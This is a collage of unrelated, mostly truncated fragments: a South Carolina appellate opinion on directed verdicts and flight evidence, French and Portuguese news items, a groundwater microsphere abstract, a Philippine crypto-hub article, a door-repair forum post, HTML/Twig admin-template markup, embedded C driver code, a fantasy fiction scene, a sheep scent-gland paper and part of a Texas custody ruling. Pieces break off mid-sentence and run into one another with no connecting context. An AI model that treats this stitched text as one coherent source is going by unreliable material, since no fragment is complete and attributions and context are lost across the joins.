On appeal from the denial of a directed verdict in a criminal case, an appellate court must view the evidence in the light most favorable to the State. State v. Curtis, 356 S.C. 622, 591 S.E.2d 600 (2004); State v. Al-Amin, 353 S.C. 405, 578 S.E.2d 32 (Ct.App.2003); State v. Morgan, 352 S.C. 359, 574 S.E.2d 203 (Ct.App.2002). When ruling on a motion for a directed verdict, the trial court is concerned with the existence or nonexistence of evidence, not its weight. State v. Cherry, 361 S.C. 588, 606 S.E.2d 475 (2004); State v. Wilds, 355 S.C. 269, 584 S.E.2d 138 (Ct.App.2003); State v. McLauren, 349 S.C. 488, 563 S.E.2d 346 (Ct.App.2002). If there is any direct evidence or substantial circumstantial evidence reasonably tending to prove the guilt of the accused, this Court must find the case was properly submitted to the jury. State v. Rosemond, 356 S.C. 426, 589 S.E.2d 757 (2003); State v. Lindsey, 355 S.C. 15, 583 S.E.2d 740 (2003); see also State v. Ballington, 346 S.C. 262, 551 S.E.2d 280 (Ct.App.2001) (stating judge should deny motion for directed verdict if there is any direct or substantial circumstantial evidence which reasonably tends to prove accused's guilt, or from which his guilt may be fairly and logically deduced). On the other hand, a defendant is entitled to a directed verdict when the State fails to produce evidence of the offense charged. State v. McKnight, 352 S.C. 635, 576 S.E.2d 168 (2003); State v. McCluney, 357 S.C. 560, 593 S.E.2d 509 (Ct.App.2004); State v. Padgett, 354 S.C. 268, 580 S.E.2d 159 (Ct.App.2003). The appellate court may reverse the trial judge's denial of a motion for a directed verdict only if there is no evidence to support the judge's ruling. State v. Gaster, 349 S.C. 545, 555, 564 S.E.2d 87, 92 (2002).
LAW/ANALYSIS
Appellant claims the trial court erred in denying his motion for a directed verdict because the State failed to introduce *634 substantial evidence he was guilty of conspiracy. We disagree.
I. Prior Inconsistent Statement as Substantive Evidence
State v. Copeland, 278 S.C. 572, 300 S.E.2d 63 (1982), established that testimony of prior inconsistent statements may be used as "substantive evidence when the declarant testifies at trial and is subject to cross examination." Id. at 581, 300 S.E.2d at 69; accord State v. Smith, 309 S.C. 442, 424 S.E.2d 496 (1992); State v. Ferguson, 300 S.C. 408, 388 S.E.2d 642 (1990); State v. Caulder, 287 S.C. 507, 339 S.E.2d 876 (Ct.App.1986). In this case, Jonathan gave a statement to police following his arrest asserting that Appellant participated in the grand larceny and burglary. However, at trial Jonathan testified that he was unsure whether Appellant exited the vehicle, and that Appellant objected to John's actions once John was back in the car. The contradiction between Jonathan's sworn statement to police and his later testimony in court is a matter of weight for the jury to decide. Copeland at 582, 300 S.E.2d at 69. The later testimony does not obviate the efficacy of the first statement made closer in time to the event in question. Id.
II. Flight Evidence
Once Jonathan stopped the car, Officer Jenkins instructed John, Jonathan, and Appellant to remain in the vehicle until backup arrived. With another officer present, Officer Jenkins had each individual step out of the car, one at a time. He provided the following description of the arrests:
A. The last person I pulled out was Bernard, which was the subject seated in the passenger side rear. I had him exit and also patted him down for weapons.
Q. All right. And at that point what happened?
A. As soon as I began patting Bernard down for weapons, he jerked away from me and took off running down Ebenezer.
After a short chase, Officer Jenkins returned to John and Jonathan to place them under arrest. Additional law enforcement personnel soon arrived and Officer Jenkins resumed the search for Appellant. He explained:
*635 A.... [W]e got a call of a subject around some apartments on Ebenezer Avenue ...
....
At that time, I did proceed to that area and I did locate Bernard Crawford hiding in the bushes in the front. It was myself and an officer from Winthrop.
Q. All right. And at that time were you able to apprehend him?
A. No, I was not. I ordered him out from the bushes. At that time I was at the rear of the bushes. He exited out through the front of the bushes, ran and jumped over another fence and continued on.
Eventually, Appellant was apprehended.
"Flight from prosecution is admissible as evidence of guilt." State v. Al-Amin, 353 S.C. 405, 413, 578 S.E.2d 32, 36-37 (Ct.App.2003); see also State v. Ballenger, 322 S.C. 196, 200, 470 S.E.2d 851, 854 (1996) (stating flight is "at least some evidence" of defendant's guilt); State v. Freely, 105 S.C. 243, 89 S.E. 643 (1916) (declaring the flight of one charged with crime has always been held to be some evidence tending to prove guilt). Evidence of flight has been held to constitute evidence of defendant's guilty knowledge and intent. See State v. Beckham, 334 S.C. 302, 513 S.E |
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] | the National Cattlemen's Beef Association).Ce lundi 6 février, le public français a pu découvrir une série bien de chez nous, "Ennemi public". Enfin... pas trop de chez nous quand même. La série version française diffère en effet légèrement de la version belge, certains termes utilisés dans les dialogues étant apparemment trop belges au goût de TF1.
Parce que maintenant, il y a un doublage entre français de Belgique et français de France? #ennemipublic #TF1 #MaisOùVaLeMonde
Ariane Meertens, responsable des séries belges pour la RTBF, explique la raison de cette demande de la chaîne privée française. "C'est vrai que c'était une petite surprise quand la série a été vendue à TF1. Ils ont demandé que l'on fasse un doublage sur certaines de nos expressions belges qui n'étaient pas assez claires pour le public français."
Au final, les changements sont assez minimes : quatre-vingt-dix vient remplacer nos nonantes, ou encore bourgmestre devient maire. "On l'a fait avec le sourire, assez rapidement, et par les techniciens belges qui ont fait la série originale, sous la responsabilité du réalisateur de la série. Ça valait le coup pour passer sur TF1, c'est ce que l'on s'est tous dit", ajoute Mme Meertens.Modifying the surface charge of pathogen-sized microspheres for studying pathogen transport in groundwater.
Consuming pathogen-contaminated groundwater has caused many waterborne disease worldwide. Microspheres are often used as pathogen surrogates because they can be made similar to pathogens in terms of their sizes, buoyant densities, and shapes. Laboratory studies have, however, shown that the surface charges of microspheres are very different from those of pathogens of comparable sizes, and that their attenuation and transport behaviors differ significantly to those of the pathogens mimicked. Thus, for microspheres to be better surrogates, their surface charges need to be modified. We have demonstrated that the surface charge of a microorganism can be closely mimicked by microspheres covalently coated with a protein that has a similar pHPZC to the microorganism. Using MS2 bacteriophage to test our concept, 20 nm carboxylated microspheres were covalently coated with casein. Zeta potentials as a function of pH were determined for purified MS2, casein, and uncoated and coated microspheres. The uncoated microspheres were significantly more negatively charged than MS2. The coated microspheres displayed zeta potentials and a pHPZC value similar to MS2. The modified surface charge on the microspheres was stable for at least 4 mo. Using the concept developed from this study, surrogates for many specific pathogens of concern can be developed, and the results can be corrected with pathogen die-off determined independently in the laboratory. Protein-coated microspheres could provide a new and alternative approach to investigate pathogen transport in groundwater. Future research is required to validate the surrogates' resemblances to pathogens in terms of their attenuation and transport behaviors in groundwater.Aug 11, 2018 at 11:18 // News
Coin Idol Author
The Philippines government is constructing a Cryptocurrency Valley of Asia, a Crypto and FinTech center identical to the one built in Canton BPOs Zug, in Switzerland. The great estate will be constructed at the Cagayan Special Economic Zone and Freeport while partnering with Northern Star Gaming & Resorts Inc, a private property developer. The zone is in position to handle 25 cryptocurrency companies which will function within the area.
The Cagayan Economic Zone Authority (CEZA), Philippines government-owned, is partnering with Northern Star Gaming & Resorts Inc. to create a cryptocurrency and FinTech hub known as Crypto Valley of Asia (CVA).
A 25-shop Body
This is, of course part, of the Philippines government's bid to cherish a FinTech sector to attract international Blockchain firms to start up big shops in the nation.
The publication explained:
“The CVA will consist of a 25-shop housing development inside the cyberpark developed in compliance with the strict security requirements for licensed overseas virtual exchanges (OVEs) located in CEZA. It will include co-working and living spaces, business incubation and acceleration hubs as well as back offices of OVEs and service providers to the global crypto space.”
Raul L Lambino, CEO and CEZA administrator said that this great infrastructure will serve to allure very many foreign investors and world FinTech players to Philippines and CEZA. This will enable the nation to turn into one of the giant destinations for works related to Blockchain and FinTech.
The authority proclaimed recently that it has given two licenses to crypto companies. 17 firms in the crypto industry have by now settled in full payments and the authority is believed to earn $68 million from the operation of licensing 25 cryptocurrency and FinTech companies.
The main goal is for the CVA to experience an economic boom that will enable many Filipinos to pursue various careers in technology-related fields, and not forgetting that the third-party business providers (BPOs) will bring more employment to the area and the country at large.
Philippines Set to be on the World Map of Crypto
Northern Star has consigned to investing USD$100 million over the next decade and the funds are already secured from different regional and international firms that will operate within the CVA.
Chairman Enrique Gonzalez raised a comment that:
“Crypto Valley of Asia and CEZA will put the Philippines on the global map of fintech and blockchain. Similar to other progressive jurisdictions such as Zug of Switzerland, we will create an environment that fosters innovation, entrepreneurship and critical skills development thru education and BPO training.”
The chairman repeated that with bullish world partners that have assured entry into the master-planned development. He believes that if this pace and vigour are maintained, the Philippines will be the leading destination for Blockchain offshoring.Pending county legislature approval, the Times Union Center will soon be home to a Johnny atriumRockets, said Bob Belber, the center's general manager.
Local franchise owner Louis Chicatelli, a Niskayuna attorney who already operates the Johnny Rockets at Crossgates Mall, would operate this one as well. And while the food menus will be the same, the TU Center John Rockets will also have a full bar as well as handcrafted beer.COMMUNITY FORUM
exterior door alignment
I recently installed a new exterior door (30x80 prehung 4" exterior walls). when I installed the door everything was perfect. The gap between the door frame and the door itself was perfect. The door was level, everything seemed great. 2 days later it seems as though the top corner of the door has moved causing the door to hit the latch side of the frame at the top. I used expanding foam to insulate around the door but that was right away and this didn't happen until 2 days after install. I dont have the trim installed around the door yet. is it possible that the hinges have sagged a little? should I just readjust the door frame? What to do??? Any help is appreciated.
I dont think you should of used spray foam insulation on your doors most door installer do not use it, because of when it drys it does expand causing the door to shift,you can never be certain if you have the same amount on each side.if you have not done the trim work I would remove the door and take off the spray foam, do a rough test and if it is not level on all side use shims to level it, then silicone the edges of the door frame, then caulk outer edges of where the door
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<ul piwik-select-on-focus class="twoFactorRecoveryCodes browser-default">{% for code in codes %}
<li>{{ code|upper|split('', 4)|join('-') }}</li>
{% endfor %}
</ul>
{% |
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] | >
</li>
<li>
<a href="#">
<div class="small pull-right m-t-xs">9 hours ago</div>
<h4>Meeting</h4>
By the readable content of a page when looking at its layout.
<div class="small">Completion with: 14%</div>
<div class="progress progress-mini">
<div style="width: 14%;" class="progress-bar progress-bar-info"></div>
</div>
</a>
</li>
<li>
<a href="#">
<span class="label label-primary pull-right">NEW</span>
<h4>The generated</h4>
There are many variations of passages of Lorem Ipsum available.
<div class="small">Completion with: 22%</div>
<div class="small text-muted m-t-xs">Project end: 4:00 pm - 12.06.2014</div>
</a>
</li>
<li>
<a href="#">
<div class="small pull-right m-t-xs">9 hours ago</div>
<h4>Business valuation</h4>
It is a long established fact that a reader will be distracted.
<div class="small">Completion with: 22%</div>
<div class="progress progress-mini">
<div style="width: 22%;" class="progress-bar progress-bar-warning"></div>
</div>
<div class="small text-muted m-t-xs">Project end: 4:00 pm - 12.06.2014</div>
</a>
</li>
<li>
<a href="#">
<div class="small pull-right m-t-xs">9 hours ago</div>
<h4>Contract with Company </h4>
Many desktop publishing packages and web page editors.
<div class="small">Completion with: 48%</div>
<div class="progress progress-mini">
<div style="width: 48%;" class="progress-bar"></div>
</div>
</a>
</li>
<li>
<a href="#">
<div class="small pull-right m-t-xs">9 hours ago</div>
<h4>Meeting</h4>
By the readable content of a page when looking at its layout.
<div class="small">Completion with: 14%</div>
<div class="progress progress-mini">
<div style="width: 14%;" class="progress-bar progress-bar-info"></div>
</div>
</a>
</li>
<li>
<a href="#">
<span class="label label-primary pull-right">NEW</span>
<h4>The generated</h4>
<!--<div class="small pull-right m-t-xs">9 hours ago</div>-->
There are many variations of passages of Lorem Ipsum available.
<div class="small">Completion with: 22%</div>
<div class="small text-muted m-t-xs">Project end: 4:00 pm - 12.06.2014</div>
</a>
</li>
</ul>
</div>
<div id="tab-3" class="tab-pane">
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<h3><i class="fa fa-gears"></i> Settings</h3>
<small><i class="fa fa-tim"></i> You have 14 projects. 10 not completed.</small>
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Show notifications
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Disable Chat
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Enable history
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Show charts
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Offline users
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<div class="switch">
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<input type="checkbox" checked name="collapsemenu" class="onoffswitch-checkbox" id="example5">
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Global search
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<input type="checkbox" checked name="collapsemenu" class="onoffswitch-checkbox" id="example6">
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<div class="setings-item">
<span>
Update everyday
</span>
<div class="switch">
<div class="onoffswitch">
<input type="checkbox" name="collapsemenu" class="onoffswitch-checkbox" id="example7">
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</label>
</div>
</div>
</div>
<div class="sidebar-content">
<h4>Settings</h4>
<div class="small">
I belive that. Lorem Ipsum is simply dummy text of the printing and typesetting industry.
And typesetting industry. Lorem Ipsum has been the industry's standard dummy text ever since the 1500s.
Over the years, sometimes by accident, sometimes on purpose (injected humour and the like).
</div>
</div>
</div>
</div>
</div |
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] |
}
if (regBase)
{
reg = *regBase;
reg |= LLWU_FILT1_FILTF_MASK;
*regBase = reg;
}
#endif /* FSL_FEATURE_LLWU_REG_BITWIDTH */
}
#endif /* FSL_FEATURE_LLWU_HAS_PIN_FILTER */
#if (defined(FSL_FEATURE_LLWU_HAS_RESET_ENABLE) && FSL_FEATURE_LLWU_HAS_RESET_ENABLE)
void LLWU_SetResetPinMode(LLWU_Type *base, bool pinEnable, bool enableInLowLeakageMode)
{
uint8_t reg;
reg = base->RST;
reg &= ~(LLWU_RST_LLRSTE_MASK | LLWU_RST_RSTFILT_MASK);
reg |=
(((uint32_t)pinEnable << LLWU_RST_LLRSTE_SHIFT) | ((uint32_t)enableInLowLeakageMode << LLWU_RST_RSTFILT_SHIFT));
base->RST = reg;
}
#endif /* FSL_FEATURE_LLWU_HAS_RESET_ENABLE */
Publicidade
Depois de ser mencionado em delações e denunciado pela primeira vez no âmbito da Lava Jato, o presidente do Senado, Renan Calheiros (PMDB-AL), e interlocutores do peemedebista deram início a novas articulações para tentar aprovar ainda nesta terça-feira (13) a proposta que endurece a punição para o abuso de autoridade.
"É o plenário, ao final e ao cabo, que vai decidir se votaremos ou não o abuso de autoridade. Não preciso dizer que o Brasil está precisando muito de uma lei para conter o abuso de autoridade. O povo não concorda com abuso de autoridade", disse Renan no final da tarde.
Enquanto os senadores discutiam a PEC do teto de gastos, aprovada mais cedo, Renan e aliados tentavam convencer senadores especialmente do PSDB, PT e do próprio PMDB do presidente do Senado, a aprovar o projeto.
Foram sondados, ao menos, os líderes do PT e do PSDB, além de alguns outros senadores desses dois partidos. Também integrantes do PSB e PSC.
O líder do PT no Senado, Humberto Costa (PE), disse ter sido procurado por emissários de Renan na noite de segunda-feira (12). O partido fez uma reunião na manhã desta terça e avaliou que este não é o melhor momento para votar este projeto.
"Se for colocado para votar, votaremos desde que nos apresente 41 pessoas que vão votar. Eles dizem que o PSDB não vota. Nós vamos votar?", afirmou Costa.
O texto, que trata de todos os poderes, mas se volta especialmente para o Judiciário, tem provocado polêmicas. Depois que a maioria do STF (Supremo Tribunal Federal) confirmou a permanência de Renan no comando do Senado, contra liminar do ministro da Suprema Corte Marco Aurélio Melo, o peemedebista havia desistido de votar a proposta, sob orientação de aliados próximos.
Um dos mais antigos deles, o ex-presidente José Sarney (PMDB-AP), o aconselhou a deixar o assunto pra lá. A proposta não saiu da pauta do Senado, mas Renan dava sinais claros, na quinta (8) de que seguiria a sugestão do amigo.
O relator da proposta, senador Roberto Requião (PMDB-PR), afirmou que o próprio Renan o procurou para dizer que o texto será votado ainda nesta terça.
Na sexta (9), Renan apareceu na delação de Claudio Melo Filho, ex-diretor de Relações Institucionais da Odebrecht, como um dos que fazia funcionar um esquema de tramitação acelerada e benéfica à empreiteira de propostas no Congresso.
Além disso, na segunda (12) a PGR (Procuradoria-Geral da República), enviou denúncia contra o senador ao STF no contexto da Operação Lava Jato. Renan e o deputado Aníbal Gomes (PMDB-CE) foram denunciados, na segunda (12), pelo procurador-geral, Rodrigo Janot, ao STF por crimes de corrupção passiva e lavagem de dinheiro. Janot também pediu a perda dos mandatos dos parlamentares.
Esse conjunto reavivou no senador a ânsia de votar a proposta. Renan, inclusive, avisou ao presidente Michel Temer que iria acelerar a votação da PEC do teto esta manhã, como o fez, para deixar a tarde livre de forma a conseguir apreciar a proposta.
O Palácio do Planalto, que articulou junto ao STF a manutenção de Renan na Presidência do Senado, vê com ressalvas as articulações do peemedebista.
Há uma lista extensa de projetos na pauta do dia. O abuso de autoridade é a última. Contudo basta um requerimento de inversão de pauta ser aprovado para que o projeto passe à votação no plenário.
Há, pelo menos, dois requerimentos para retirar o tema da pauta com mais de 21 assinaturas, número mínimo para, regimentalmente, obrigar o presidente do Senado a votar o documento - com menos de 21 senadores apoiando um requerimento, cabe ao comandate da Casa decidir pela votação ou não dele.
Lideranças do PSDB e do PT afirmam que votarão a favor do requerimento, contra o abuso de autoridade.
Essa não é a primeira vez que Renan "afronta" o Judiciário. Assim que as medidas contra a corrupção chegaram da Câmara, com um trecho voltado especificamente a punir o Judiciário no que se refere ao abuso de autoridade, o peemedebista tentou fazer a proposta avançar com celeridade no Senado.
Já sabia que seria derrotado, mas queria, conforme avaliaram seus aliados, "passar um susto nos procuradores da Lava Jato".
METRALHADORA
No final desta tarde, Renan voltou a criticar a Procuradoria-Geral da República, que enviou denúncia contra ele no âmbito da Lava Jato.
"O Ministério Público se perdeu na condução política. Quando você tem o Ministério Público fazendo política, ele perde a condição de ser fiscal da lei. Temos este problema no Brasil", afirmou o presidente do Senado.
Apesar de ter adotado discurso de perseguido pela PGR, Renan negou que tenha virado alvo.
"É que presidente do Congresso acaba sintetizando contradições da política. Essa denuncia de ontem é risível, ridícula. Não há sequer acusador. Não têm o que me contestar na minha vida nem pública, nem privada. Estou sob devassa há nove anos. Entreguei todos os sigilos e pedi verificação das minhas contas. Não tenho o que temer", afirmou.July 8, 2017
Subscribe
Nougat share rises to double digits but so many Android devices still run KitKat and below
by John_A
More Android devices are being upgraded to Nougat, but the going is slow.
I love KitKats but I’m getting older now so I try not to eat them so often. I also used to love the software equivalent of the crunchy chocolate wafer treat, released in 2013, which further refined the Holo aesthetic unveiled with Ice Cream Sandwich two years earlier while paving the way for the complete |
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] | air itself seemed to catch aflame. The man that had moved forward writhed and twisted. He shrieked as he fell twitching to the ground.
Leonine felt terror caress him with ice-cold fingers, and he burst into song, spilling forth the first rebellious lyrics of the Rahavashaska, a song of resistance and iron will, of Rahava the shepherd refusing to heed the honeyed words of the Crone of Beshadis. The soldiers had scattered. Three ran past Leonine, oblivious to his presence, stumbling and clawing at each other in their desperate flight. He realized with a shock that he knew one of the men, the grey-bearded steward of Ila-uanna, but now was not the time to consider such things. Now, he could only sing to shield himself from the awful power of the girl's shriek.
She was still screaming, and he could see her now that there were no soldiers in the way. The tunnel ahead was empty, save for the girl and the Hound, who had also raised a ward. He took one step towards the girl, then another, his sword drawn. Leonine knew he was muttering a prayer, although he did not hear it. The Hounds did not sing of Rahava; they prayed to Ahamash to deliver them from Daiva sorceries.
As the Hound moved closer to the girl, Leonine realized with a start that she was still radiant with energy. She had not closed herself. The very air seemed to vibrate with power.
_She's going to burn out._ In the realization, there was a pang of sympathetic pain. So very few sorcerers had someone to teach them control. So few sorcerers lasted. Even those that eluded the Hounds so often boiled their own blood, and died writhing and spitting flame.
Her scream faltered, and she fell to the ground. The horror that had tried to rend Leonine's defensive song dissipated, and he found himself running at a Hound similarly freed, knife in hand.
The Hound had not noticed him, had not heard his song in the chaos. He was moving towards the fallen girl, faster now than before. Leonine was faster still. He swung his knife in a vicious arc, burying the point in the back of the Hound's neck, then ripped it out. The Hound made a horrible retching noise and fell, his life's blood spraying Leonine's face.
_The torch!_ Leonine grabbed at the falling man's arm. He could not afford to allow his only light to be extinguished by the water. There were still soldiers around, and by now they could have recovered from their horror. Leonine did not want to stumble blindly into the head of a spear.
He took the torch and made to leave, but he stopped short.
The girl.
She was probably dead, Leonine thought, looking past the soldier who had tried to placate her. He was young, would have been pretty if not for the grimace of fear that had twisted his face as he fell. He stared up at the tunnel's ceiling with bulging eyes; he too was likely dead.
_She's still breathing._ Leonine saw the girl's chest rise weakly, then fall. He could carry her, if he wanted to. She couldn't possibly weigh much, and he did not like the thought of leaving her for the Sarvashi. They had given enough sorcerers to the Shimurg. Why give them another?
_Sentimental idiot. She's powerful. Terrifyingly powerful. She'll rip you apart like she did this youngster when she wakes._ He could leave her behind. He doubted she would have much trouble with the rest of the Sarvashi, if they tried to take her. Their Hound was dead, and with him their only chance at protection from her powers. He could leave her here, let her kill them off, and go in peace to find the tunnel buried deep within Lumshazzar that led to Shudagan's house.
And yet...
With a strangled cry of frustration, Leonine picked up the girl and threw her over his left shoulder like a sack of wheat. Torch in his right hand, child in his left, he ran back in the direction from which he had come. He would run to where the crocodile died, where he had seen the carvings. That had to be where the sewers turned into Lumshazzar. Once he reached the buried city, it would be easier to figure out where, in the twisted labyrinth of corridors, he would find a safe path leading to the surface. Ibashtu's gift would see to that.
He ran past the dead crocodile, and then thundered down the corridor to his right. His heart caught in his throat as he rounded the corner, coming face-to-face with one of the Sarvashi soldiers that had fled past him. The man was dumbstruck for an instant, but he was well-trained. His features twisted quickly from confusion to hatred, and he charged at Leonine, hands scrabbling at a weapon in his belt.
Taken by surprise, it was all Leonine could do to get the torch between him and his attacker's head. He saw sparks fly, and the man screamed in anguish. Leonine kicked the soldier's leg out from under him, sending him ruined-face-first into the tunnel wall, then leapt nimbly over and kept running.
He saw no more soldiers as the tunnel grew wider and the water more shallow. Within moments, he found himself in what must once have been a street of Lumshazzar, the walls beside him cut through with doorways. Inside the first doorway was a hearth ringed by strewn potsherds, and little else. It was a house, and the back wall was missing, leading into another dark corridor.
From what he remembered of Ibashtu's map, Lumshazzar's humblest houses had been in the western portion of the city. If memory served, the underground passage that led to Ibashtu's house would be nearby.
The girl was growing heavy. A moment's rest would be welcome, and a chance to consult the map... but not here. He was still much too close to the Sarvashi for comfort, and the one he'd burned would know which way he went. The soldiers could as easily follow the light of his torch as he had theirs. Now was not the time to grow complacent.
Leonine dropped the torch for a moment, shifted the girl from his left shoulder to his right, and picked it up again. He turned right the first time a road presented itself, then left, then right again. He passed a square that had once been open to the sky, and now had grown almost crescent-shaped with rubble fallen from a collapsed tunnel ceiling. That was always a danger in a place like this. He wondered absently how many men had been lost in the excavation.
In the middle of the square was a well, and looking at it made him realize how thirsty he was from the morning's exertions. The bucket, unfortunately, had long since rotted away, as had the rope. Leonine sighed, and kept walking. To his right, the tattered remnants of a rotted awning hung from a storefront. They'd gone far enough, Leonine decided. The store would be an adequate place to sit down a moment.
No sign remained of what the store had once sold. Everything that was not brick or the occasional shard of pottery had long since rotted – or been carried – away. Leonine laid the girl on the ground and sat on the brickwork bench where the merchant would have sat by evening, scratching the day's sales into his ledger tablets. He put the torch down beside him, and pulled Ibashtu's map from the inner pocket of his tunic, relieved to see that it was unbroken.
He scanned the western half of the map, following with a dirty fingernail a network of streets in search of open places where a market might conceivably have been. He found a square that looked promising and mentally retraced his steps, matching the turns he had taken to the streets on the map.
They seemed to match up. If he were to head north from here, then turn right, he would be close to the centre of the Mound and Shudagan's home.
"Wh-who are you?" Leonine almost leapt into the air. He had not heard the girl stirring. When he looked over, she was scrabbling on hands and heels to the back wall, eyes wide.
"Don't be afraid," he said to her, his voice as calm and understanding as he could make it. "I won't hurt you. I'm like you."
Her eyes were narrow with suspicion, mouth pursed. "The other man back there..." she looked around, obviously unsure where 'back there' could be found. "He was 'like me' and he drew a sword."
Leonine smiled, held his hands open in front of her. "If I wanted to hurt you, I'd have done so earlier, when you collapsed. Instead I carried you here, away from the soldiers."
She thought about that for a moment, and slowly nodded. When she spoke again, her voice trembled.
"Wh-what happened to me?" she asked. "I was scared, and then I screamed, like |
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] | or physiological response, provides specific information, or modulates responses in the receiving individual \[[@B8-ijms-18-01516]\]. Some of those chemosignals are of skin and gland origin (examples: the tarsal gland of the black-tailed deer, the inguinal and chin glands of rabbits for individual identification, the preputial glands in mature male pigs, and submaxillary glands for mating stance in estrus gilts) \[[@B9-ijms-18-01516],[@B10-ijms-18-01516],[@B11-ijms-18-01516]\].
Across very different phylogenies, the mechanisms for pheromones and odor learning have much in common. The medial amygdala appears to be involved in both the recognition of social odors and their association with chemosensory information sensed by the vomeronasal system and sensory neurons and GABAergic interneurons in the olfactory bulb, which are continuously replaced. In fact, this contradicts the idea that neurogenesis is purely restorative in the adult stage since it develops the necessary plasticity for induction and maintenance of learned chemosensory responses \[[@B12-ijms-18-01516],[@B13-ijms-18-01516]\].
In the ungulate family (*Caprinae*, *Cephalophinae*, *Antilopinae*), circumscribed scent glands are located bilaterally as pouches or pockets near the exterior base of the udder. Several morphological features that present a gland, such as the infraorbital sinus, the interdigital sinus, and the inguinal sinus, characterize the genus *Ovis aries*. Therefore, we can find the inguinal sinus in the ram as well as in the ewe. Different research groups have pointed out different responsibilities in the secretion of these three different glands. In some cases, they function as trail glands, while in others they have a role in the known "male effect". By producing pheromones in the male, they elicit female reproductive physiologic responses \[[@B14-ijms-18-01516],[@B15-ijms-18-01516]\].
After giving birth, mothers position their bodies so that the neonate finds the mammary zone. The suckling/nursing relationship becomes the core of their physiological and behavioral relationship and involves the blocking of the estrous cycle, the stimulation of lactation, and the development of a bond with repercussions for the future of the neonate, as this contact stimulates the mother's care and the infant's willing to find the nipple and ingest milk. Since lambs are born with fully functional sensory modalities, they can use multisensory cues to find the teat. In return, ewes lick their lambs after birth and present low-pitched bleating, an important behavior for the development of ewe--lamb attachment and direct the lamb towards the inguinal region, where areas free of wool have a higher temperature, eliciting the lambs' nosing and directing them towards IGS. When considering lambing, the pressure is to have as many lambs born alive as possible and allow them to get adequate colostrum so that they stay alive. The parental investment in producing a new young life (or two) per reproductive cycle is very high and the behavior of the young and its likelihood to survive is under the responsibility of its mother at the beginning of its life throughout lactation. This mother--young unit is a major part of the welfare of the neonate and inadequate maternal care invariably leads to early death \[[@B6-ijms-18-01516],[@B16-ijms-18-01516]\].
In the literature, references to inguinal gland wax production describe a strong-smelling substance that seems to activate udder-seeking behavior, in combination with vocal and tactile stimuli \[[@B17-ijms-18-01516],[@B18-ijms-18-01516]\]. Records of respiration and heart rates demonstrated that non-suckling lambs respond to the smell of mother's inguinal sinus production in a more reactive way than the response found when odors of wool or milk from an unfamiliar ewe are available. In addition, newborns can discriminate between the smell of their mothers and that of an alien ewe and it was shown that when lambs are made anosmic by applying lidocaine to their nostrils, localization of the teat was delayed \[[@B19-ijms-18-01516],[@B20-ijms-18-01516],[@B21-ijms-18-01516]\]. Initiation of suckling is dependent on variable blends of maternal "signature odors" that are learned and recognized prior to first suckling. In rabbits, the pheromone responsible for initiating suckling has already been identified and newborn mice require maternal olfactory or "signature odors" cues to start suckling since this blend of volatile odors (not necessarily a classical pheromone) produced from the mother elicits the behavior \[[@B22-ijms-18-01516]\]. In sheep, maternal behavior (low-pitched bleats, licking, and nursing) is triggered by changes of plasma progesterone and estradiol around parturition, and the release of oxytocin in the brain \[[@B17-ijms-18-01516]\]. Thus, the hypothesis we presented was that sheep IGS might play a role as a chemosensory clue to the newborn lamb.
As IGS gland functions are in many aspects under evaluation, the objective of the present study was to evaluate: (i) IGS morphology, histology and ultrastructure; (ii) mRNA transcription and protein expression of progesterone (PGR), estrogen receptors 1 (ESR1) and 2 (ESR2) and prolactin receptor (PRLR). Also, as these hormones show associations with sexual and nursing behavior in many aspects, achieving information about putative changes in the chemical compounds produced in this body sinus along the estrous cycle was also one of the goals.
2. Results {#sec2-ijms-18-01516}
==========
Near the mammary gland, one can observe by abduction of the hind limb the inguinal sinus located bilaterally as pockets at the external base of this gland. When exposed, a yellowish substance with a wax appearance seems to spread downward to the teats ([Figure 1](#ijms-18-01516-f001){ref-type="fig"}). The histology of the inguinal sinus demonstrates invaginated skin presenting sebaceous and acinar glandular fields, with collagen sheath fibers sustaining the secretory epithelium ([Figure 2](#ijms-18-01516-f002){ref-type="fig"}A--C). The acinar glands appear with different patterns of secretion, from a resting phase to the development of huge cellular protrusions of apocrine secretions towards the glandular lumen (for example comparing [Figure 2](#ijms-18-01516-f002){ref-type="fig"}C,F,G,H). According to dye affinities, the parenchyma is shown to be rich in glycogen (PAS; [Figure 2](#ijms-18-01516-f002){ref-type="fig"}E,F) and lipid granules (Sudan Black stain, 2 G), and mucin content as well (Alcian blue-2H-I). Myoepithelial cells can be depicted ([Figure 2](#ijms-18-01516-f002){ref-type="fig"}E). Secretion production appears with an uneven distribution in different areas of the inguinal pouch and in different acinar units, as shown in different plates of [Figure 2](#ijms-18-01516-f002){ref-type="fig"}.
Ultrastructural observations of scanning electronic microscopy (SEM) ([Figure 3](#ijms-18-01516-f003){ref-type="fig"}) showed that the apocrine glandular units are of alveolar type but not tubuloalveolar and that these secretion units appear in clusters ([Figure 3](#ijms-18-01516-f003){ref-type="fig"}A,B). Luminal surface secretion presents a paved appearance, with secretory cells in diverse stages of differentiation ([Figure 3](#ijms-18-01516-f003){ref-type="fig"}C). In fact, some acini at different stages depict fragments of secretion being "pinched off", exhibiting secretory vesicles or secretion blebs ([Figure 3](#ijms-18-01516-f003){ref-type="fig"}D,E), although cells preserve a clear demarcation with neighboring cells by means of rows of microvilli. Apical end-pieces show a progressive filling process that upsurges as bulge-like structures. In other acini, cells appear to be in a transitional process where the clear demarcation with surrounding cells is no longer as visible, resulting from the development of apical protrusions that in a final stage denote a smooth plasma membrane devoid of microvilli and covering the protrusions ([Figure 3](#ijms-18-01516-f003){ref-type="fig"}F,H).
According to specific primer sequences used for quantitative real-time PCR (reported in [Section 4](#sec4-ijms-18-01516){ref-type="sec"}), it was possible to show transcription of mRNA for *ESR1*, *ESR2*, *PGR* and *PRL*R during the follicular and mid-luteal phase of the estrous cycle ([Figure 4](#ijms-18-01516-f004){ref-type="fig"}).
Confocal scanning microscopy demonstrated immunoreactivity towards ESR1, ESR2, PGR and PLRL receptors regardless of the estrous phase or the differentiation of acini cells concerning secretion process. Evidence was found of non-nuclear estrogen receptor and PGR in a clear border basilar position |
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15
] | Nenno approach.
Payne testified at length about her qualifications, training, and experience; she
described her investigation, interviews, and conclusions in detail. Payne holds a bachelor’s degree
in sociology and psychology from the University of Texas at Austin. She has extensive work
experience in the foster or substitute care industry. Payne works primarily for the Department but
is also employed by a private agency to conduct social studies for various clients. She has received
on-the-job training in conducting social studies and is certified by the Department to conduct the
studies. She estimated that before this case she had conducted approximately 150 social studies.
In fulfillment of her duties, Payne visited and took photographs of Taylor’s home.
She interviewed Taylor and Taylor’s boyfriend Gary Russell, as well as Taylor’s employer, and
family and church friends. She thoroughly investigated Taylor and Russell’s backgrounds and
explained her findings and conclusions in the report. As a result of her investigation, Payne
